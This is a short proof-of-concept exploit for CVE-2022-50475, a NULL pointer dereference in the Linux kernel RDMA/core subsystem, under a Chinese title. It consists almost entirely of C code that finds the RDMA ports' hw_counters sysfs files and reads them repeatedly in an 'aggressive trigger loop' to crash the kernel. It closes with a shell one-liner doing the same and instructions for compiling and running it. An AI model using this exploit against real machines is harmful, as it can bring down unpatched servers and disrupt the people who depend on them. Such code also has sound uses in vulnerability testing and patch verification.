CVE-2022-50475 Linux内核RDMA/core子系统空指针解引用漏洞

// CVE-2022-50475 PoC - Trigger NULL pointer dereference via sysfs access // This PoC triggers the vulnerability by accessing RDMA port sysfs nodes // while the ib_port structure is in an invalid state. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> // Find RDMA device ports in sysfs int find_rdma_ports(char paths[][256], int max_paths) { DIR *dir, *subdir; struct dirent *entry, *subentry; char base_path[] = "/sys/class/infiniband"; int count = 0; dir = opendir(base_path); if (!dir) { perror("Cannot open /sys/class/infiniband - RDMA not available"); return -1; } // Iterate through RDMA devices while ((entry = readdir(dir)) != NULL && count < max_paths) { if (entry->d_name[0] == '.') continue; char dev_path[256]; snprintf(dev_path, sizeof(dev_path), "%s/%s/ports", base_path, entry->d_name); subdir = opendir(dev_path); if (!subdir) continue; // Iterate through ports of each device while ((subentry = readdir(subdir)) != NULL && count < max_paths) { if (subentry->d_name[0] == '.') continue; snprintf(paths[count], 256, "%s/%s/hw_counters", dev_path, subentry->d_name); count++; } closedir(subdir); } closedir(dir); return count; } // Trigger the vulnerability by reading hw_counters sysfs node int trigger_crash(const char *path) { int fd; char buf[4096]; ssize_t ret; printf("[*] Accessing: %s\n", path); fd = open(path, O_RDONLY); if (fd < 0) { printf("[-] Cannot open %s: %s\n", path, strerror(errno)); return -1; } // Reading triggers hw_stat_port_show -> NULL pointer dereference ret = read(fd, buf, sizeof(buf) - 1); close(fd); if (ret < 0) { printf("[+] Read failed (expected if kernel crashed): %s\n", strerror(errno)); return 0; } printf("[+] Read %zd bytes successfully\n", ret); return 0; } int main(int argc, char *argv[]) { char paths[16][256]; int num_ports, i; printf("=== CVE-2022-50475 PoC ===\n"); printf("Linux Kernel RDMA/core NULL Pointer Dereference\n\n"); num_ports = find_rdma_ports(paths, 16); if (num_ports <= 0) { printf("[-] No RDMA ports found. Need RDMA-capable hardware.\n"); printf("[-] Example: Mellanox ConnectX-5/BlueField SoC with mlx5_ib\n"); return 1; } printf("[*] Found %d RDMA port(s)\n\n", num_ports); // Repeatedly access sysfs nodes to trigger race condition / crash for (i = 0; i < num_ports; i++) { trigger_crash(paths[i]); } // Aggressive loop to maximize chance of hitting the race window printf("\n[*] Entering aggressive trigger loop...\n"); for (int round = 0; round < 100; round++) { for (i = 0; i < num_ports; i++) { trigger_crash(paths[i]); } usleep(1000); } printf("\n[*] Done. If kernel didn't crash, timing window was missed.\n"); return 0; } // Alternative shell-only trigger: // for i in $(seq 1 1000); do // cat /sys/class/infiniband/*/ports/*/hw_counters 2>/dev/null // done // // Compile: gcc -o poc poc.c // Run: ./poc (requires RDMA hardware and unpatched kernel)